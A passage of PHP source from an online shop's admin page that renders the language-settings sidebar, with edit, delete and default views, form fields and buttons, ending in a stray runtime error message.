$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_PHP_DATE_TIME_FORMAT . '</span>' . xtc_draw_input_field('php_date_time_format', '', 'required'));
break;
case 'edit':
$formAction = xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $lInfo->languages_id . '&action=save');
$formIsEditable = true;
$buttons = '<input type="submit" class="btn btn-primary" onClick="this.blur();" value="' . BUTTON_SAVE . '"/>';
$buttons .= '<a class="btn" onClick="this.blur();" href="' . xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $lInfo->languages_id) . '">' . BUTTON_CANCEL . '</a>';
$directoryTooltip = '<span data-gx-widget="tooltip_icon" data-tooltip_icon-type="info">
' . TEXT_INFO_LANGUAGE_DIRECTORY_INFO . '
</span>';
$heading[] = array('text' => '<b>' . TEXT_INFO_HEADING_EDIT_LANGUAGE . '</b>');
$contents[] = array('text' => TEXT_INFO_EDIT_INTRO);
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_NAME . '</span>' . xtc_draw_input_field('name', $lInfo->name, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_CODE . '</span>' . xtc_draw_input_field('code', $lInfo->code, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_CHARSET . '</span>' . xtc_draw_input_field('charset', $lInfo->language_charset, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_IMAGE . '</span>' . xtc_draw_input_field('image', $lInfo->image, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DIRECTORY . $directoryTooltip .'</span>' . xtc_draw_input_field('directory', $lInfo->directory, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_SORT_ORDER . '</span>' . xtc_draw_input_field('sort_order', $lInfo->sort_order, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DATE_FORMAT . '</span>' . xtc_draw_input_field('date_format', $lInfo->date_format, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DATE_FORMAT_LONG . '</span>' . xtc_draw_input_field('date_format_long', $lInfo->date_format_long, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DATE_FORMAT_SHORT . '</span>' . xtc_draw_input_field('date_format_short', $lInfo->date_format_short, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DATE_TIME_FORMAT . '</span>' . xtc_draw_input_field('date_time_format', $lInfo->date_time_format, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_DOB_FORMAT_STRING . '</span>' . xtc_draw_input_field('dob_format_string', $lInfo->dob_format_string, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_HTML_PARAMS . '</span>' . xtc_draw_input_field('html_params', $lInfo->html_params, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_LANGUAGE_CURRENCY . '</span>' . xtc_draw_input_field('language_currency', $lInfo->language_currency, 'required'));
$contents[] = array('text' => '<span class="options-title">' . TEXT_INFO_LANGUAGE_PHP_DATE_TIME_FORMAT . '</span>' . xtc_draw_input_field('php_date_time_format', $lInfo->php_date_time_format, 'required'));
if(DEFAULT_LANGUAGE != $lInfo->code && $lInfo->status != '0')
$contents[] = array('text' => '<span class="options-title">' . TEXT_SET_DEFAULT . '</span><div class="control-group" data-gx-widget="checkbox">' . xtc_draw_checkbox_field('default', 'on') . '</div>');
break;
case 'delete':
$buttons = '';
if($remove_language)
{
$pageToken = $_SESSION['coo_page_token']->generate_token();
$buttons .= '<a class="btn btn-primary" onClick="this.blur();" href="' . xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $lInfo->languages_id . '&action=deleteconfirm&page_token=' . $pageToken) . '">' . BUTTON_DELETE . '</a>';
}
$buttons .= '<a class="btn" onClick="this.blur();" href="' . xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $lInfo->languages_id) . '">' . BUTTON_CANCEL . '</a>';
$heading[] = array('text' => '<b>' . TEXT_INFO_HEADING_DELETE_LANGUAGE . '</b>');
$contents[] = array('text' => TEXT_INFO_DELETE_INTRO);
$contents[] = array('text' => '<br /><b>' . $lInfo->name . '</b>');
break;
default:
if(is_object($lInfo))
{
$editButton = '<a class="btn btn-primary btn-edit" href="' . xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $lInfo->languages_id . '&action=edit') . '">' . BUTTON_EDIT . '</a>';
$deleteButton = '<a class="btn btn-delete" href="' . xtc_href_link(FILENAME_LANGUAGES, 'page=' . $_GET['page'] . '&lID=' . $lInfo->languages_id . '&action=delete') . '">' . BUTTON_DELETE . '</a>';
// Disable delete button and edit if selected language is a system language
if($lInfo->languages_id === '1' || $lInfo->languages_id === '2')
{
$deleteButton = '<button class="btn btn-delete" disabled="disabled" title="'
. TEXT_INFO_DISABLED_DELETE_BUTTON . '">' . BUTTON_DELETE . '</button>';
$editButton = '<button class="btn btn-edit" disabled="disabled" title="'
. TEXT_INFO_DISABLED_EDIT_BUTTON . '">' . BUTTON_EDIT . '</button>';
}
$buttons = $editButton . $deleteButton;
$heading[] = array('text' => '<b>' . $lInfo->name . '</b>');
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_NAME . ' ' . $lInfo->name);
$contents[] = array('text' => TEXT_INFO_LANGUAGE_CODE . ' ' . $lInfo->code);
$contents[] = array('text' => TEXT_INFO_LANGUAGE_CHARSET_INFO . ' ' . $lInfo->language_charset);
$contents[] = array('text' => '<br /><span class="flag-icon flag-icon-' . $lInfo->code . '"></span>');
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_DIRECTORY . '<br />' . DIR_WS_LANGUAGES . '<b>' . $lInfo->directory . '</b>');
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_SORT_ORDER . ' ' . $lInfo->sort_order);
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_DATE_FORMAT . ' ' . $lInfo->date_format);
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_DATE_FORMAT_LONG . ' ' . $lInfo->date_format_long);
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_DATE_FORMAT_SHORT . ' ' . $lInfo->date_format_short);
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_DATE_TIME_FORMAT . ' ' . $lInfo->date_time_format);
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_DOB_FORMAT_STRING . ' ' . $lInfo->dob_format_string);
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_HTML_PARAMS . ' ' . $lInfo->html_params);
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_LANGUAGE_CURRENCY . ' ' . $lInfo->language_currency);
$contents[] = array('text' => '<br />' . TEXT_INFO_LANGUAGE_PHP_DATE_TIME_FORMAT . ' ' . $lInfo->php_date_time_format);
}
break;
}
$configurationBoxContentView = MainFactory::create_object('ConfigurationBoxContentView');
$configurationBoxContentView->setOldSchoolHeading($heading);
$configurationBoxContentView->setOldSchoolContents($contents);
$configurationBoxContentView->setFormAttributes($formAttributes);
$configurationBoxContentView->set_content_data('buttons', $buttons);
$configurationBoxContentView->setFormEditable($formIsEditable);
$configurationBoxContentView->setFormAction($formAction);
echo $configurationBoxContentView->get_html();
?>
</div>
</body>
</html>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?>

Unexpected error occurred...
Class "main_ORIGIN" not found